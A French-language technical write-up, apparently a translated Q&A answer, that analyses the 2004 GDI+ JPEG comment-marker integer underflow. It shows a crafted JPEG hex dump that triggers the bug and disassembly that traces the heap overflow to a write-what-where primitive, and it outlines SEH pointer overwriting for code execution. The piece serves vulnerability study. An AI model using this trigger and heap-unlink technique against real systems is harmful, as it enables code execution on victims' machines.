Cette vulnérabilité était certainement un débordement de tas .
Comment l'écriture d'octets 0XFFFFFFFE (4 Go !!!!) peut-elle ne pas planter le programme?
Ce sera probablement le cas, mais à certaines occasions, vous avez le temps d'exploiter avant que le crash ne se produise (parfois, vous pouvez ramener le programme à son exécution normale et éviter le crash).
Au démarrage de memcpy (), la copie écrasera soit certains autres blocs du tas, soit certaines parties de la structure de gestion du tas (par exemple, liste libre, liste occupée, etc.).
À un moment donné, la copie rencontrera une page non allouée et déclenchera une AV (violation d'accès) en écriture. GDI + essaiera alors d'allouer un nouveau bloc dans le tas (voir ntdll! RtlAllocateHeap ) ... mais les structures du tas sont maintenant toutes en désordre.
À ce stade, en élaborant soigneusement votre image JPEG, vous pouvez écraser les structures de gestion du tas avec des données contrôlées. Lorsque le système essaie d'allouer le nouveau bloc, il dissociera probablement un bloc (gratuit) de la liste libre.
Les blocs sont gérés avec (notamment) des pointeurs flink (lien vers l'avant; le bloc suivant dans la liste) et clignotant (lien vers l'arrière; le bloc précédent dans la liste). Si vous contrôlez à la fois le clignotement et le clignotement, vous pourriez avoir une possible WRITE4 (condition d'écriture Quoi / Où) où vous contrôlez ce que vous pouvez écrire et où vous pouvez écrire.
À ce stade, vous pouvez écraser un pointeur de fonction (les pointeurs SEH [Structured Exception Handlers] étaient une cible de choix à l'époque en 2004) et obtenir l'exécution de code.
Voir l'article de blog Heap Corruption: A Case Study .
Remarque: bien que j'aie écrit sur l'exploitation en utilisant la liste libre, un attaquant pourrait choisir un autre chemin en utilisant d'autres métadonnées du tas (les «métadonnées du tas» sont des structures utilisées par le système pour gérer le tas; flink et blink font partie des métadonnées du tas), mais l'exploitation de la dissociation est probablement la plus "facile". Une recherche google pour «exploitation de tas» renverra de nombreuses études à ce sujet.
Cela écrit-il au-delà de la zone de tas et dans l'espace d'autres programmes et du système d'exploitation?
Jamais. Les systèmes d'exploitation modernes sont basés sur le concept d'espace d'adressage virtuel, de sorte que chaque processus possède son propre espace d'adressage virtuel qui permet d'adresser jusqu'à 4 gigaoctets de mémoire sur un système 32 bits (en pratique, vous n'en avez que la moitié dans l'espace utilisateur, le reste est pour le noyau).
En bref, un processus ne peut pas accéder à la mémoire d'un autre processus (sauf s'il le demande au noyau via un service / une API, mais le noyau vérifiera si l'appelant a le droit de le faire).
J'ai décidé de tester cette vulnérabilité ce week-end, afin que nous puissions avoir une bonne idée de ce qui se passait plutôt que de la pure spéculation. La vulnérabilité a maintenant 10 ans, donc j'ai pensé que c'était correct d'écrire à ce sujet, même si je n'ai pas expliqué la partie exploitation dans cette réponse.
Planification
La tâche la plus difficile était de trouver un Windows XP avec uniquement SP1, comme c'était le cas en 2004 :)
Ensuite, j'ai téléchargé une image JPEG composée uniquement d'un seul pixel, comme indiqué ci-dessous (par souci de brièveté):
File 1x1_pixel.JPG
Address Hex dump ASCII
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF `
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| * ÿÛ C
[...]
Une image JPEG est composée de marqueurs binaires (qui intrduisent des segments). Dans l'image ci-dessus, FF D8
est le marqueur SOI (Start Of Image), tandis queFF E0
, par exemple, est un marqueur d'application.
Le premier paramètre dans un segment de marqueur (à l'exception de certains marqueurs comme SOI) est un paramètre de longueur de deux octets qui code le nombre d'octets dans le segment de marqueur, y compris le paramètre de longueur et à l'exclusion du marqueur de deux octets.
J'ai simplement ajouté un marqueur COM (0x FFFE
) juste après le SOI, car les marqueurs n'ont pas d'ordre strict.
File 1x1_pixel_comment_mod1.JPG
Address Hex dump ASCII
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]
La longueur du segment COM est définie sur 00 00
pour déclencher la vulnérabilité. J'ai également injecté des octets 0xFFFC juste après le marqueur COM avec un motif récurrent, un nombre de 4 octets en hexadécimal, ce qui deviendra pratique lors de "l'exploitation" de la vulnérabilité.
Débogage
Un double-clic sur l'image déclenchera immédiatement le bogue dans le shell Windows (aka "explorer.exe"), quelque part dans gdiplus.dll
, dans une fonction nomméeGpJpegDecoder::read_jpeg_marker()
.
Cette fonction est appelée pour chaque marqueur de l'image, elle: lit simplement la taille du segment marqueur, alloue un tampon dont la longueur est la taille du segment et copie le contenu du segment dans ce tampon nouvellement alloué.
Voici le début de la fonction:
.text:70E199D5 mov ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8 push esi
.text:70E199D9 mov esi, [ebx+18h]
.text:70E199DC mov eax, [esi] ; eax = pointer to segment size
.text:70E199DE push edi
.text:70E199DF mov edi, [esi+4] ; edi = bytes left to process in the image
eax
register pointe vers la taille du segment et edi
correspond au nombre d'octets restants dans l'image.
Le code procède ensuite à la lecture de la taille du segment, en commençant par l'octet le plus significatif (la longueur est une valeur de 16 bits):
.text:70E199F7 xor ecx, ecx ; segment_size = 0
.text:70E199F9 mov ch, [eax] ; get most significant byte from size --> CH == 00
.text:70E199FB dec edi ; bytes_to_process --
.text:70E199FC inc eax ; pointer++
.text:70E199FD test edi, edi
.text:70E199FF mov [ebp+arg_0], ecx ; save segment_size
Et l'octet le moins significatif:
.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19 add [ebp+arg_0], ecx ; save segment_size
.text:70E19A1C mov ecx, [ebp+lpMem]
.text:70E19A1F inc eax ; pointer ++
.text:70E19A20 mov [esi], eax
.text:70E19A22 mov eax, [ebp+arg_0] ; eax = segment_size
Une fois cela fait, la taille du segment est utilisée pour allouer un tampon, en suivant ce calcul:
alloc_size = taille_segment + 2
Cela se fait par le code ci-dessous:
.text:70E19A29 movzx esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D add eax, 2
.text:70E19A30 mov [ecx], ax
.text:70E19A33 lea eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
Dans notre cas, comme la taille du segment est 0, la taille allouée pour le tampon est de 2 octets .
La vulnérabilité est juste après l'attribution:
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
.text:70E19A3C test eax, eax
.text:70E19A3E mov [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41 jz loc_70E19AF1
.text:70E19A47 mov cx, [ebp+arg_4] ; low marker byte (0xFE)
.text:70E19A4B mov [eax], cx ; save in alloc (offset 0)
;[...]
.text:70E19A52 lea edx, [esi-2] ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61 mov [ebp+arg_0], edx
Le code soustrait simplement la taille du segment_size (la longueur du segment est une valeur de 2 octets) de la taille du segment entier (0 dans notre cas) et se termine par un sous- dépassement d' entier: 0 - 2 = 0xFFFFFFFE
Le code vérifie ensuite s'il reste des octets à analyser dans l'image (ce qui est vrai), puis passe à la copie:
.text:70E19A69 mov ecx, [eax+4] ; ecx = bytes left to parse (0x133)
.text:70E19A6C cmp ecx, edx ; edx = 0xFFFFFFFE
.text:70E19A6E jg short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4 mov eax, [ebx+18h]
.text:70E19AB7 mov esi, [eax] ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9 mov edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC mov ecx, edx ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE mov eax, ecx
.text:70E19AC0 shr ecx, 2 ; size / 4
.text:70E19AC3 rep movsd ; copy segment content by 32-bit chunks
L'extrait de code ci-dessus montre que la taille de la copie est 0xFFFFFFFE morceaux de 32 bits. Le tampon source est contrôlé (contenu de l'image) et la destination est un tampon sur le tas.
Condition d'écriture
La copie déclenchera une exception de violation d'accès (AV) lorsqu'elle atteint la fin de la page mémoire (cela peut provenir du pointeur source ou du pointeur de destination). Lorsque l'AV est déclenché, le tas est déjà dans un état vulnérable car la copie a déjà écrasé tous les blocs de tas suivants jusqu'à ce qu'une page non mappée soit rencontrée.
Ce qui rend ce bogue exploitable, c'est que 3 SEH (Structured Exception Handler; c'est try / except at low level) attrapent des exceptions sur cette partie du code. Plus précisément, le 1er SEH déroulera la pile afin qu'il revienne pour analyser un autre marqueur JPEG, sautant ainsi complètement le marqueur qui a déclenché l'exception.
Sans SEH, le code aurait juste fait planter tout le programme. Ainsi, le code ignore le segment COM et analyse un autre segment. Nous revenons donc GpJpegDecoder::read_jpeg_marker()
à un nouveau segment et au moment où le code alloue un nouveau tampon:
.text:70E19A33 lea eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
Le système dissociera un bloc de la liste libre. Il arrive que les structures de métadonnées aient été écrasées par le contenu de l'image; nous contrôlons donc la dissociation avec des métadonnées contrôlées. Le code ci-dessous quelque part dans le système (ntdll) dans le gestionnaire de tas:
CPU Disasm
Address Command Comments
77F52CBF MOV ECX,DWORD PTR DS:[EAX] ; eax points to '0003' ; ecx = 0x33303030
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX ; save ecx
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4] ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0 MOV DWORD PTR DS:[EAX],ECX ; write 0x33303030 to 0x34303030!!!
Maintenant, nous pouvons écrire ce que nous voulons, où nous voulons ...